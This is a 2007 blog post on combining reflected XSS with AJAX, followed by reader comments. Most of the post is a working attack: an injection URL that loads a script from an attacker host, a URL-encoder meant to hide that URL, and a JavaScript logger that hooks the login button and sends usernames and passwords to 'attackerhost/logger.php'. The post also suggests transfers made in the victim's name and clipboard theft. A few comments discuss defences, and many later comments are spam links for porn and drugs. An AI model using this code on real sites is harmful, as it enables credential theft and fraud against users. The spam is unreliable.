Welcome to BARMAGY Sign in | Join | Help

The Dark Side of AJAX

Hello guys,

Today we are going to talk about a very interesting topic. As we are all now are accustomed with ajax and it’s new programming techniques I want you to imagine this, imagine if the ajax techniques have been combined with the common old hacking techniques, what are we going to get?

For example we have talked before about XSS vulnerabilities and how they work so imagine this that if we used ajax to exploit an XSS vulnerability that does exist in some web application, what can we get?

Say we have a web application that is vulnerable to XSS in its login page that looks like this

<html>

<body>

<form method="post" action="login.php">

User:<input type="text" name="user"><br>

Pass:<input type="password" name="pass"><br>

<input type="Submit" value="login">

</form>

</body>

</html>

<?

//some code to do the authentication then sets our $authenticated flag

if(!$authenticated)

die("Sorry the user $user doesn't exist in our database or the password is not correct");

//rest of code

?>

As we can see here we have an obvious XSS vulnerability here in the die() function where it prints out the user name directly without any filtration before outputting it to the user. So we can simply attack the users of this page by sending this url

http://host/login.php?user=<script%20src=http://attackerhost/attackscript.js></script>

Where attackscript.js is a script on the attacker host that will contain his really big attack script that is using ajax techniques. I’ve ignored using quotations deliberately to bypass the magic quotes protection from XSS that PHP have.

Also to make harder to detect by experienced users we can encode this url so it can look like this

http://host/login.php?user=%3Cscript%20src%3Dhttp%3A//attackerhost/attackscript.js%3E%3C/script%3E

 

You can use this java script to encode yours

 

<html>

<body>

<input id="in" type="text">

<input id="out" type="text">

<input type="submit" value="encode" onclick="encode()">

</body>

</html>

<script>

function encode()

{

document.getElementById("out").value = escape(document.getElementById("in").value)

}

</script>

 

So now let’s move to the ajax part, I’ve already managed to load my big java script file into the browser of my victim so what’s next? Why use ajax?

Well, this is a good question indeed, as one of the most famous features of ajax that it runs asynchronously which means from the hacker aspect being undetectable by the user, the second most famous feature is that ajax can make server side calls with the XMLHttpRequest object and this means from the hacker aspect the ability to do actions like logging the user sensitive data without the user being aware of it or submitting server side requests on behalf of the user while using the user credentials and in the same time without any intrusion detection tool (like a firewall for example) can stop him/here as the attacker can send these data tunneled in HTTP requests on a port that is already opened by the user and with an application that is approved by the user to run and connect to the internet which is this case is the user web browser.

So say that we used this code in our attack script

 

//this is function which will be called when the user clicks the login button

document.getElementsByTagName("input")[2].onclick = function logdata()

{

  //here we create our XMLHttpRequest object

  xmlHttp=GetXmlHttpObject()

  //and here we create our request string to the attacker host logger script

  //sending it the user name and password of the attacked victim

  var url="http://attackerhost/logger.php?user=" + document.getElementsByName("user")[0].value + "&pass=" + document.getElementsByName("pass")[0].value

  xmlHttp.open("GET",url,true)

  xmlHttp.send(null)

 

}

//the rest of this code is the code that is responsible of creating

//the XMLHttpRequest object for different browsers

function GetXmlHttpObject()

{

  var xmlHttp=null;

  try

    {

    // Firefox, Opera 8.0+, Safari

    xmlHttp=new XMLHttpRequest();

    }

  catch (e)

    {

    // Internet Explorer

    try

      {

      xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

      }

    catch (e)

      {

      xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");

      }

    }

  return xmlHttp;

}

 

So now when ever a user clicks the login button the ajax method logdata() will be invoked to send the user name and password to the attacker logging script then redirect the user normally to the next page without any suspicious actions that can alarm the user and force him/her to change his/her password immediately.

Other things can be also done in other scenarios for example if the XSS vulnerability does exist in any other page where the user can access only when s/he is authenticated then an attacker can change the request url in his/here attack script to request any other authenticated page and submit any action with the credentials of the victim user say for example to make a bank transaction to the attacker account or send by mail the exploit url to all of the victim user contact list on that web application. Also the attacker can read the clipboard of the victim user while the user is still having the vulnerable page open and then send the clipboard content to his/her logger script every 5 seconds for example (that only can happen if the browser doesn’t warn the user about this page is trying to access his clipboard).

I hope you liked this article and I would appreciate any feedback or comments, if you have any question you can submit it here in a comment and I will answer it later once I’ve time

Thanks for reading

 

Published Friday, July 13, 2007 10:31 PM by Fady

Comment Notification

If you would like to receive an email when updates are made to this post, please register here

Subscribe to this post's comments using RSS

Comments

# re: The Dark Side of AJAX

nice article ya fadi bgd enta 7'sara fe el bald de:D
Friday, July 13, 2007 10:42 PM by Nehal

# re: The Dark Side of AJAX

Nice Post
Friday, July 13, 2007 11:53 PM by Ahmed

# re: The Dark Side of AJAX

Thanks guys really for your support
@Nehal
LOL mashy ya sety :P
Saturday, July 14, 2007 12:04 AM by Fady

# Seth&#8217;s bl0g &raquo; [White Paper] - Ajax ed XSS

Saturday, July 14, 2007 9:43 PM by Seth’s bl0g » [White Paper] - Ajax ed XSS

# re: The Dark Side of AJAX

sending the user and pass to a remote host like that won't work. Ajax is subject to the same-domain policy. The attacker will only be able to send packages to the domain in question.
Sunday, July 15, 2007 11:17 AM by para

# re: The Dark Side of AJAX

yes actually this is the case with browsers that doesn't allow cross-dmain scripting for security like firefox but it's working normally with IE7, for sorry currently i don't have time to test it with other browsers, when i test it i will get back to you with the results
but anyway if cross-domain scripting is disabled that won't prevent the attacker from making web requests on behalf of the user in the same site which means the attacker can do any actions that is allowed within the web application with the same user privilages
Sunday, July 15, 2007 6:10 PM by Fady

# Anti XSS AJAX


XSS have became a problem that most web developers still suffering from it tell now, simply because...
Friday, July 20, 2007 2:59 AM by Infinite Loop

# re: The Dark Side of AJAX

How do you sanitize the output in order to prevent XSS?
Friday, July 20, 2007 5:07 PM by d4rw1n

# re: The Dark Side of AJAX

you should alway filter the user input for <script> tags and convert them to browser friendly characters
for example < would be &lt; and > would &gt;
Saturday, July 21, 2007 12:32 AM by Fady

# re: The Dark Side of AJAX

Well, its no big news that authorization should not be done on the client side.
the server should verify that the user is authenticated and authorized before it serve any request.
Monday, July 23, 2007 12:10 PM by Omry

# re: The Dark Side of AJAX

i think you have missed the main point, even if the user is authenticated and authorized XSS vulnerabilities may exist and this attack technique may be implemented. in fact the user being authenticated while this attack may pose more danger on him/her
i think you should read more about XSS
Tuesday, July 24, 2007 4:05 PM by Fady

# ZULL TEST &raquo; ???????????? &raquo; ?????? ajax ???????? ?????????? ???????

# re: The Dark Side of AJAX

Thursday, November 22, 2007 3:52 PM by myspace

# re: The Dark Side of AJAX

Good Site! Thanks!
<a href= http://***-***-shot.evilauto.info/index.html > *** *** shot </a>
<a href= http://britneys-***.evilauto.info/index.html > britneys *** </a>
<a href= http://red-head-***.evilauto.info/index.html > red head *** </a>
Wednesday, December 12, 2007 8:03 AM by ertPiginapoke

# re: The Dark Side of AJAX

SQOkEw  <a href="http://ovymktmckhsh.com/">ovymktmckhsh</a>, [url=http://thqoakqdsfvj.com/]thqoakqdsfvj[/url], [link=http://axahrfychzqr.com/]axahrfychzqr[/link], http://iefnpqwuwxja.com/
Friday, March 21, 2008 4:44 PM by rybgoojslcx

# re: The Dark Side of AJAX

Hi Fady, great post, at the beginning I hadn't notice that it’s your post but after I checked a PingBack from http://www.0xseth.com/bl0g/?p=182 Where I saw your name and knew that it’s you, well done ya man, keep the good work
Friday, May 30, 2008 7:42 PM by wdeveloper

# антимаулнетизм ветерком

с антимаулнетизм <a href= http://antiprivichka.ru >антимаулнетизм ветерком</a> [url=http://antiprivichka.ru]антимаулнетизм ветерком[/url]
Saturday, June 21, 2008 1:27 AM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# membership vicodin

vicodin tablets <a href= http://vinography.com/images/archives/vicodin.html >membership vicodin</a> [url=http://vinography.com/images/archives/vicodin.html]membership vicodin[/url]
Saturday, June 21, 2008 3:59 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# пунктуально антимаулнетизм

отлично антимаулнетизм <a href= http://faa.appstate.edu/photo/111.html >пунктуально антимаулнетизм</a> [url=http://faa.appstate.edu/photo/111.html]пунктуально антимаулнетизм[/url]
Sunday, June 22, 2008 2:06 AM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# swingers in opera virginia

in swingers virginia country <a href= http://bezodoka.cn/swingers-in-virginia.html >swingers in opera virginia</a> [url=http://bezodoka.cn/swingers-in-virginia.html]swingers in opera virginia[/url]
Monday, June 30, 2008 7:23 AM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# ebony xxx candy pic

hoes pic xxx ebony <a href= http://cinobaro.cn/ebony-xxx-pic.html >ebony xxx candy pic</a> [url=http://cinobaro.cn/ebony-xxx-pic.html]ebony xxx candy pic[/url]
Wednesday, July 09, 2008 4:41 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# sale lamisil

Sunday, July 20, 2008 8:22 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# cream lamisil

Tuesday, July 22, 2008 2:14 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# cream lamisil

Tuesday, July 22, 2008 2:14 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# problem fibroid

Tuesday, August 05, 2008 5:31 PM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

# *** cancer radiation treatment

treatment *** for cancer <a href= http://forums.invisionpower.com/index.php?showuser=134722 >*** cancer radiation treatment</a> [url=http://forums.invisionpower.com/index.php?showuser=134722]*** cancer radiation treatment[/url]
Wednesday, August 06, 2008 1:31 AM by ctl00$_$ctl00$_$ctl01$_$form$_$tbname

What do you think?

(required) 
required 
(required)